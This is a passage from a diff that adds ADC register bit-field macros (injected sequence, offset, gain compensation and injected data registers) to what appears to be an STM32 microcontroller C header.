ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << 